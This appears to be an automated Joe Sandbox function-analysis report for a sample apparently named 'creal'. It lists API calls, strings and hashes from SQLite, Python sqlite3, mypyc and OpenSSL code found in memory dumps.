Strings

nolock, xrefs: 00007FF8E68C9586
-journal, xrefs: 00007FF8E68C9407
immutable, xrefs: 00007FF8E68C95BD

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy$memset
String ID: -journal$immutable$nolock
API String ID: 438689982-4201244970
Opcode ID: 83e2a97fa00efd0c27a9592cdce843648313d1d97cf6ab97798199b00e65efce
Instruction ID: 3bb1af8bdead2ae44b3483db251a5a3d6b9182ebd1aa4e832faad07f8fd33418
Opcode Fuzzy Hash: 83e2a97fa00efd0c27a9592cdce843648313d1d97cf6ab97798199b00e65efce
Instruction Fuzzy Hash: 1932B962B29B9296EB648FA5944037937A0FF49BE4F084275CA6E07BD5DF3CE454C302

Function 00007FF8E692B060 Relevance: 12.4, APIs: 1, Strings: 7, Instructions: 397COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF8E692B608

Strings

misuse, xrefs: 00007FF8E692B0D2
%s at line %d of [%.10s], xrefs: 00007FF8E692B0DE
unopened, xrefs: 00007FF8E692B0AD
2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0, xrefs: 00007FF8E692B0C5
invalid, xrefs: 00007FF8E692B0A2
API call with %s database connection pointer, xrefs: 00007FF8E692B0B4
NULL, xrefs: 00007FF8E692B08D

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy
String ID: %s at line %d of [%.10s]$2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0$API call with %s database connection pointer$NULL$invalid$misuse$unopened
API String ID: 3510742995-3762325461
Opcode ID: bdd65c06e807f738dd2697ad4d27a94250175461887e5150d1e454e4e0986083
Instruction ID: de65a605681499fddcbce7f893fd64d8bd953304a4ab0bf12390c1206c22629c
Opcode Fuzzy Hash: bdd65c06e807f738dd2697ad4d27a94250175461887e5150d1e454e4e0986083
Instruction Fuzzy Hash: 7902CE62A2DB4685EB64AF91A49837AA7E4FF94BC8F180031DE4D07799DF3DE4458302

Function 00007FF8E6932BB0 Relevance: 9.4, APIs: 3, Strings: 3, Instructions: 374COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8E6932C1F
memcpy.VCRUNTIME140 ref: 00007FF8E6932E30
memcpy.VCRUNTIME140 ref: 00007FF8E6932EE0

Strings

statement too long, xrefs: 00007FF8E6932DE6
database schema is locked: %s, xrefs: 00007FF8E6932D86
out of memory, xrefs: 00007FF8E6932C9B

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy$memset
String ID: database schema is locked: %s$out of memory$statement too long
API String ID: 438689982-1046679716
Opcode ID: 5ed36e81426d4dda266e1e2b72bbbc4cce9bbd62fb343d6ed1371e91b3143b91
Instruction ID: f48419b3491528f62c45ffedc18fdd06f60287a0038f3bbfe36c0a4715895464
Opcode Fuzzy Hash: 5ed36e81426d4dda266e1e2b72bbbc4cce9bbd62fb343d6ed1371e91b3143b91
Instruction Fuzzy Hash: 59F18022A687C286FB24EBB194483BA67A0FF95BC8F184135DA4D07795DF7CE581C702

Function 00007FF8E68D1630 Relevance: 5.1, APIs: 2, Strings: 1, Instructions: 593stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E68D1698
memcpy.VCRUNTIME140 ref: 00007FF8E68D17F0

Strings

:memory:, xrefs: 00007FF8E68D168E

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpystrcmp
String ID: :memory:
API String ID: 4075415522-2920599690
Opcode ID: caaa475f843e1cf8634484f57e8112b8d208c1787e0867ca2710ba94a12e65cc
Instruction ID: cc0944ab23a1d85ffabb75a765a0b7cf64c68e8b268e61859a1f5d0d9e0988d8
Opcode Fuzzy Hash: caaa475f843e1cf8634484f57e8112b8d208c1787e0867ca2710ba94a12e65cc
Instruction Fuzzy Hash: A6427C62F2DB9282EB648FA5A45837927A4FF49BC4F044135DA8D43B95DF3CE494C312

Function 00007FF8E68C1490 Relevance: 1.7, APIs: 1, Instructions: 204COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32 ref: 00007FF8E68C14B5

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 92d82e4b214818c158f58746d604a038a40c5e57c576eefab9a689c2dc8594a3
Instruction ID: 3de59616408dd5004597d7a6a1022fab9b6699f0eae1722f612c77e8623113c1
Opcode Fuzzy Hash: 92d82e4b214818c158f58746d604a038a40c5e57c576eefab9a689c2dc8594a3
Instruction Fuzzy Hash: 2FA1F664F2EB1691FE988BD5E89933422A1BF4ABC4F140535CA9E473A1DF7CE4919303

Function 00007FF8E7004660 Relevance: 151.1, APIs: 76, Strings: 10, Instructions: 584threadCOMMON

Download Yara Rule

APIs

PyThread_get_thread_ident.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF8E70046B5
PyList_New.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF8E70046F6
PyTuple_New.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF8E7004713
PyList_Append.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF8E700472B
PyObject_GetIter.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF8E700474D
PyObject_Vectorcall.PYTHON312 ref: 00007FF8E70047B7
sqlite3_stmt_busy.SQLITE3 ref: 00007FF8E70047FD
PyEval_SaveThread.PYTHON312 ref: 00007FF8E7004816
sqlite3_reset.SQLITE3 ref: 00007FF8E7004823
PyEval_RestoreThread.PYTHON312 ref: 00007FF8E700482C
PyIter_Next.PYTHON312 ref: 00007FF8E7004867
PyErr_Occurred.PYTHON312 ref: 00007FF8E7004888
PyEval_SaveThread.PYTHON312 ref: 00007FF8E700489F
sqlite3_step.SQLITE3 ref: 00007FF8E70048AB
PyEval_RestoreThread.PYTHON312 ref: 00007FF8E70048BA
PyEval_SaveThread.PYTHON312 ref: 00007FF8E70048DC
sqlite3_column_count.SQLITE3 ref: 00007FF8E70048ED
PyEval_RestoreThread.PYTHON312 ref: 00007FF8E70048FD
PyTuple_New.PYTHON312 ref: 00007FF8E700491F
sqlite3_column_name.SQLITE3 ref: 00007FF8E7004950
PyUnicode_FromStringAndSize.PYTHON312 ref: 00007FF8E7004980
PyTuple_Pack.PYTHON312 ref: 00007FF8E70049B8
sqlite3_changes.SQLITE3 ref: 00007FF8E7004A11
PyEval_SaveThread.PYTHON312 ref: 00007FF8E7004A25
sqlite3_reset.SQLITE3 ref: 00007FF8E7004A32
PyEval_RestoreThread.PYTHON312 ref: 00007FF8E7004A3B
PyIter_Next.PYTHON312 ref: 00007FF8E7004A59
PyEval_SaveThread.PYTHON312 ref: 00007FF8E7004A75
sqlite3_last_insert_rowid.SQLITE3 ref: 00007FF8E7004A86
PyEval_RestoreThread.PYTHON312 ref: 00007FF8E7004A92
PyLong_FromLongLong.PYTHON312 ref: 00007FF8E7004A9F
PyErr_Occurred.PYTHON312 ref: 00007FF8E7004AB4
_Py_Dealloc.PYTHON312 ref: 00007FF8E7004AFD
_Py_Dealloc.PYTHON312 ref: 00007FF8E7004B18
PyErr_Occurred.PYTHON312 ref: 00007FF8E7004B25
sqlite3_stmt_busy.SQLITE3 ref: 00007FF8E7004B56
_Py_Dealloc.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF8E7004B91
sqlite3_get_autocommit.SQLITE3 ref: 00007FF8E7004BC1
PyEval_SaveThread.PYTHON312 ref: 00007FF8E7004BD3
sqlite3_prepare_v2.SQLITE3 ref: 00007FF8E7004C4D
sqlite3_step.SQLITE3 ref: 00007FF8E7004C5E
sqlite3_finalize.SQLITE3 ref: 00007FF8E7004C69
PyEval_RestoreThread.PYTHON312 ref: 00007FF8E7004C74
PyEval_SaveThread.PYTHON312 ref: 00007FF8E7004CA7
sqlite3_reset.SQLITE3 ref: 00007FF8E7004CB4
PyEval_RestoreThread.PYTHON312 ref: 00007FF8E7004CBD
PyIter_Check.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF8E7004D0D
PyObject_GetIter.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF8E7004D1E
sqlite3_stmt_readonly.SQLITE3 ref: 00007FF8E7004D39
_Py_Dealloc.PYTHON312 ref: 00007FF8E7004D53

Part of subcall function 00007FF8E7007AD0: PyEval_SaveThread.PYTHON312(?,?,00000000,00007FF8E7004D63), ref: 00007FF8E7007AE5
Part of subcall function 00007FF8E7007AD0: sqlite3_reset.SQLITE3(?,?,00000000,00007FF8E7004D63), ref: 00007FF8E7007AF2
Part of subcall function 00007FF8E7007AD0: PyEval_RestoreThread.PYTHON312(?,?,00000000,00007FF8E7004D63), ref: 00007FF8E7007AFD

PyErr_SetString.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF8E7004E21
PyThread_get_thread_ident.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF8E7004E2C
PyErr_Format.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF8E7004E47
PyType_GetModuleByDef.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF8E7004E5D
PyModule_GetState.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF8E7004E66
PyErr_SetString.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF8E7004E77
_Py_Dealloc.PYTHON312 ref: 00007FF8E700CFBF
_Py_Dealloc.PYTHON312 ref: 00007FF8E700CFCB

Strings

e, xrefs: 00007FF8E70049F8
Cannot operate on a closed cursor., xrefs: 00007FF8E7004E16
executemany() can only execute DML statements., xrefs: 00007FF8E7004E9F
Recursive use of cursors not allowed., xrefs: 00007FF8E7004E89
SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu., xrefs: 00007FF8E7004E36
BEGIN , xrefs: 00007FF8E7004BE1
Base Cursor.__init__ not called., xrefs: 00007FF8E7004E6C
Base Connection.__init__ not called., xrefs: 00007FF8E700CEB6
Error while building row_cast_map, xrefs: 00007FF8E700CF71
Cannot operate on a closed database., xrefs: 00007FF8E7004DFC

Memory Dump Source

Source File: 00000002.00000002.1578819031.00007FF8E7001000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF8E7000000, based on PE: true

Associated: 00000002.00000002.1578774051.00007FF8E7000000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000002.00000002.1578860238.00007FF8E700F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000002.00000002.1578915505.00007FF8E7019000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000002.00000002.1578958590.00007FF8E701B000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7000000_creal.jbxd

Similarity

API ID: Eval_Thread$RestoreSave$DeallocErr_$sqlite3_reset$Iter_Object_OccurredStringTuple_$FromIterList_LongNextThread_get_thread_identsqlite3_stepsqlite3_stmt_busy$AppendCheckFormatLong_ModuleModule_PackSizeStateType_Unicode_Vectorcallsqlite3_changessqlite3_column_countsqlite3_column_namesqlite3_finalizesqlite3_get_autocommitsqlite3_last_insert_rowidsqlite3_prepare_v2sqlite3_stmt_readonly
String ID: BEGIN $Base Connection.__init__ not called.$Base Cursor.__init__ not called.$Cannot operate on a closed cursor.$Cannot operate on a closed database.$Error while building row_cast_map$Recursive use of cursors not allowed.$SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu.$e$executemany() can only execute DML statements.
API String ID: 3905713625-3920904728
Opcode ID: ddcf874027f5f25215195d8631cc8c42a410216cb0c3c7f23cc6a095149d7a8c
Instruction ID: 6c31a5aa7acdb9ca6a0cec97aeb43b24e160076b285d0cff8f408f2e8e848d59
Opcode Fuzzy Hash: ddcf874027f5f25215195d8631cc8c42a410216cb0c3c7f23cc6a095149d7a8c
Instruction Fuzzy Hash: 7A522935A09A4281EE549FA5E45437E23A0FF47BF5F140831EA2E876A4DF7CE846D306

Function 00007FF8E71439D0 Relevance: 73.8, APIs: 30, Strings: 12, Instructions: 293
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_PyType_CalculateMetaclass.PYTHON312 ref: 00007FF8E7143A3F
PyObject_GetAttrString.PYTHON312 ref: 00007FF8E7143A68
PyErr_Clear.PYTHON312 ref: 00007FF8E7143A76
PyUnicode_CompareWithASCIIString.PYTHON312 ref: 00007FF8E7143A8E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7143AA6
strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7143AB9
strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7143ACC
PyUnicode_CompareWithASCIIString.PYTHON312 ref: 00007FF8E7143AE4
PyUnicode_CompareWithASCIIString.PYTHON312 ref: 00007FF8E7143B11
_Py_Dealloc.PYTHON312 ref: 00007FF8E7143B64
PyErr_SetString.PYTHON312 ref: 00007FF8E7143B80
PyUnicode_FromString.PYTHON312 ref: 00007FF8E7143B93
PyType_GenericAlloc.PYTHON312 ref: 00007FF8E7143BAE
PyObject_SetAttrString.PYTHON312 ref: 00007FF8E7143C3B
PyType_Ready.PYTHON312 ref: 00007FF8E7143C8A
PyObject_GetAttrString.PYTHON312 ref: 00007FF8E7143CAD
PyObject_IsTrue.PYTHON312 ref: 00007FF8E7143CC2
_Py_Dealloc.PYTHON312 ref: 00007FF8E7143CD7
PyErr_SetString.PYTHON312 ref: 00007FF8E7143CF2
_Py_Dealloc.PYTHON312 ref: 00007FF8E7143D06
_Py_Dealloc.PYTHON312 ref: 00007FF8E7143D1F
_Py_Dealloc.PYTHON312 ref: 00007FF8E7143D39
PyErr_Clear.PYTHON312 ref: 00007FF8E7143D62
PyObject_SetAttrString.PYTHON312 ref: 00007FF8E7143D77
_PyObject_FastCall.PYTHON312 ref: 00007FF8E7143DA1
_PyObject_GetAttrId.PYTHON312 ref: 00007FF8E7143DBD
_Py_Dealloc.PYTHON312 ref: 00007FF8E7143DD3
PyObject_VectorcallDict.PYTHON312 ref: 00007FF8E7143DED
_Py_Dealloc.PYTHON312 ref: 00007FF8E7143E05
_Py_Dealloc.PYTHON312 ref: 00007FF8E7143E21

Strings

typing_extensions, xrefs: 00007FF8E7143ADA
TypingMeta, xrefs: 00007FF8E7143A9C
_ProtocolMeta, xrefs: 00007FF8E7143AC2, 00007FF8E7143AF2
abc, xrefs: 00007FF8E7143B07
__orig_bases__, xrefs: 00007FF8E7143C31
mypyc classes can't have __slots__, xrefs: 00007FF8E7143CE8
ABCMeta, xrefs: 00007FF8E7143B1F
__module__, xrefs: 00007FF8E7143A5E, 00007FF8E7143D6D
GenericMeta, xrefs: 00007FF8E7143AAF
mypyc classes can't have a metaclass, xrefs: 00007FF8E7143B76
typing, xrefs: 00007FF8E7143A81
__slots__, xrefs: 00007FF8E7143C9F

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: String$DeallocObject_$Attr$Err_Unicode_$CompareType_Withstrcmp$Clear$AllocCalculateCallDictFastFromGenericMetaclassReadyTrueVectorcall
String ID: ABCMeta$GenericMeta$TypingMeta$_ProtocolMeta$__module__$__orig_bases__$__slots__$abc$mypyc classes can't have __slots__$mypyc classes can't have a metaclass$typing$typing_extensions
API String ID: 3039355408-3015203947
Opcode ID: 581e7a51ebe161312cd1d03399a5527e61c6b6fd9e8a3dc5876b46a657a736b2
Instruction ID: a71f59b3aced35d9b1ce26ffa01573653eb9f473249a9917391ab6e191926e45
Opcode Fuzzy Hash: 581e7a51ebe161312cd1d03399a5527e61c6b6fd9e8a3dc5876b46a657a736b2
Instruction Fuzzy Hash: 2DD16A32A09B86C2EA588FA9E95437C73A1BF49BD4F448035CE2E66255EF3CF145D302

Function 00007FF8E7005B60 Relevance: 59.7, APIs: 23, Strings: 11, Instructions: 192
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyThread_get_thread_ident.PYTHON312 ref: 00007FF8E7005B7F
_PyArg_ParseTuple_SizeT.PYTHON312 ref: 00007FF8E7005BBB
PyUnicode_AsUTF8AndSize.PYTHON312 ref: 00007FF8E7005BD7
sqlite3_limit.SQLITE3 ref: 00007FF8E7005BFD
PyEval_SaveThread.PYTHON312 ref: 00007FF8E7005C26
sqlite3_prepare_v2.SQLITE3 ref: 00007FF8E7005C4F
PyEval_RestoreThread.PYTHON312 ref: 00007FF8E7005C5A
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7005CA8
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7005CC6
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7005CE4
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7005D02
_PyObject_GC_New.PYTHON312 ref: 00007FF8E7005D13
PyObject_GC_Track.PYTHON312 ref: 00007FF8E7005D37
PyThread_get_thread_ident.PYTHON312 ref: 00007FF8E700D200
PyErr_Format.PYTHON312 ref: 00007FF8E700D21B

Strings

delete, xrefs: 00007FF8E7005CDA
the query contains a null character, xrefs: 00007FF8E7005E6F
insert, xrefs: 00007FF8E7005C9E
SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu., xrefs: 00007FF8E700D20A
You can only execute one statement at a time., xrefs: 00007FF8E7005E11
query string is too large, xrefs: 00007FF8E7005EEB
replace, xrefs: 00007FF8E7005CF8
sqlite3.Connection, xrefs: 00007FF8E7005E84
Base Connection.__init__ not called., xrefs: 00007FF8E700D241
update, xrefs: 00007FF8E7005CBC
Cannot operate on a closed database., xrefs: 00007FF8E7005F45

Memory Dump Source

Source File: 00000002.00000002.1578819031.00007FF8E7001000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF8E7000000, based on PE: true

Associated: 00000002.00000002.1578774051.00007FF8E7000000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000002.00000002.1578860238.00007FF8E700F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000002.00000002.1578915505.00007FF8E7019000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000002.00000002.1578958590.00007FF8E701B000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7000000_creal.jbxd

Similarity

API ID: _strnicmp$Eval_Object_SizeThreadThread_get_thread_ident$Arg_Err_FormatParseRestoreSaveTrackTuple_Unicode_sqlite3_limitsqlite3_prepare_v2
String ID: Base Connection.__init__ not called.$Cannot operate on a closed database.$SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu.$You can only execute one statement at a time.$delete$insert$query string is too large$replace$sqlite3.Connection$the query contains a null character$update
API String ID: 603912194-3639599724
Opcode ID: 4fd8ca26ecb050e427ed40bdb856c4ce243b6fc914df62382e35d1afdce9c31c
Instruction ID: 5d960d4c6badf2fa55231549963150aa0bd7fdcaa48783d8186a07745fa5b5b4
Opcode Fuzzy Hash: 4fd8ca26ecb050e427ed40bdb856c4ce243b6fc914df62382e35d1afdce9c31c
Instruction Fuzzy Hash: 56815F21A0CA4285EF648BA1E858B7D2361BF46BE4F444832D96EC76A4DF2CE545E302

Function 00007FF8E7006350 Relevance: 44.0, APIs: 22, Strings: 3, Instructions: 233
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PySys_Audit.PYTHON312 ref: 00007FF8E7006390
PyUnicode_FSConverter.PYTHON312 ref: 00007FF8E70063A6
PyEval_SaveThread.PYTHON312 ref: 00007FF8E70063C1
sqlite3_open_v2.SQLITE3 ref: 00007FF8E70063F5
sqlite3_busy_timeout.SQLITE3 ref: 00007FF8E7006415
PyEval_RestoreThread.PYTHON312 ref: 00007FF8E700641E
_Py_Dealloc.PYTHON312 ref: 00007FF8E7006434
PyType_GetModuleByDef.PYTHON312 ref: 00007FF8E7006453
PyModule_GetState.PYTHON312 ref: 00007FF8E700645C
PyLong_FromLong.PYTHON312 ref: 00007FF8E7006479
PyObject_Vectorcall.PYTHON312 ref: 00007FF8E70064A6
PyObject_Vectorcall.PYTHON312 ref: 00007FF8E70064D9
_Py_Dealloc.PYTHON312 ref: 00007FF8E70064F0
PyList_New.PYTHON312 ref: 00007FF8E7006501
PyList_New.PYTHON312 ref: 00007FF8E7006515
PyThread_get_thread_ident.PYTHON312 ref: 00007FF8E700655D
PySys_Audit.PYTHON312 ref: 00007FF8E700662F
sqlite3_close.SQLITE3 ref: 00007FF8E700669E

Strings

sqlite3.connect, xrefs: 00007FF8E7006386
BEGIN, xrefs: 00007FF8E700666B
sqlite3.connect/handle, xrefs: 00007FF8E70065AD

Memory Dump Source

Source File: 00000002.00000002.1578819031.00007FF8E7001000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF8E7000000, based on PE: true

Associated: 00000002.00000002.1578774051.00007FF8E7000000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000002.00000002.1578860238.00007FF8E700F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000002.00000002.1578915505.00007FF8E7019000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000002.00000002.1578958590.00007FF8E701B000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7000000_creal.jbxd

Similarity

API ID: AuditDeallocEval_List_Object_Sys_ThreadVectorcall$ConverterFromLongLong_ModuleModule_RestoreSaveStateThread_get_thread_identType_Unicode_sqlite3_busy_timeoutsqlite3_closesqlite3_open_v2
String ID: BEGIN$sqlite3.connect$sqlite3.connect/handle
API String ID: 3562732450-2348745481
Opcode ID: 8a2dca1dfa2ba05690071b078500926b146cf9129fe0a8956bc13880c2dc20a4
Instruction ID: b98f5ec0ccc8ee4034c1e69747e6929a21e0113449feaf2250493109d57cc260
Opcode Fuzzy Hash: 8a2dca1dfa2ba05690071b078500926b146cf9129fe0a8956bc13880c2dc20a4
Instruction Fuzzy Hash: A3B12836A09B4286EB608FA5E94436E73A5FB4ABE4F044835CE5D93758DF3CE450D702

Function 00007FF8E71D14BF Relevance: 33.5, APIs: 17, Strings: 2, Instructions: 243
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ERR_clear_error.LIBCRYPTO-3 ref: 00007FF8E722ED9A
SetLastError.KERNEL32 ref: 00007FF8E722EDA1
ERR_new.LIBCRYPTO-3 ref: 00007FF8E722EE80
ERR_set_debug.LIBCRYPTO-3 ref: 00007FF8E722EE98
ERR_new.LIBCRYPTO-3 ref: 00007FF8E722EEC1
ERR_new.LIBCRYPTO-3 ref: 00007FF8E722EEE5
ERR_new.LIBCRYPTO-3 ref: 00007FF8E722EF07
ERR_new.LIBCRYPTO-3 ref: 00007FF8E722EF28
ERR_new.LIBCRYPTO-3 ref: 00007FF8E722EF4A
ERR_set_debug.LIBCRYPTO-3 ref: 00007FF8E722EF62
ERR_new.LIBCRYPTO-3 ref: 00007FF8E722EF99
ERR_new.LIBCRYPTO-3 ref: 00007FF8E722F060
ERR_set_debug.LIBCRYPTO-3 ref: 00007FF8E722F078
ERR_new.LIBCRYPTO-3 ref: 00007FF8E722F092
ERR_set_debug.LIBCRYPTO-3 ref: 00007FF8E722F0AA
ERR_set_error.LIBCRYPTO-3 ref: 00007FF8E722F0BB
BUF_MEM_free.LIBCRYPTO-3 ref: 00007FF8E722F0C9

Strings

state_machine, xrefs: 00007FF8E722EE8A, 00007FF8E722EF54, 00007FF8E722F065, 00007FF8E722F097
..\s\ssl\statem\statem.c, xrefs: 00007FF8E722EE91, 00007FF8E722EF5B, 00007FF8E722F071, 00007FF8E722F0A3

Memory Dump Source

Source File: 00000002.00000002.1580599471.00007FF8E71D1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00007FF8E71D0000, based on PE: true

Associated: 00000002.00000002.1580559886.00007FF8E71D0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580599471.00007FF8E7253000.00000020.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580838537.00007FF8E7255000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581118655.00007FF8E727D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7282000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7288000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7290000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e71d0000_creal.jbxd

Similarity

API ID: R_new$R_set_debug$ErrorLastM_freeR_clear_errorR_set_error
String ID: ..\s\ssl\statem\statem.c$state_machine
API String ID: 1370845099-1722249466
Opcode ID: 236d5f13ad3ad80265c17443c4d34d4b4270ad271146e1380b34927adae8de7c
Instruction ID: c3a9c3365b598757086e66dc4b9c123ddba45ade24933fedb8dd566fa9072e59
Opcode Fuzzy Hash: 236d5f13ad3ad80265c17443c4d34d4b4270ad271146e1380b34927adae8de7c
Instruction Fuzzy Hash: C5A19B32E086C392FBA4AEA5D4447BD2291EF41BC4F584432DA3E46689DF3DE881D743

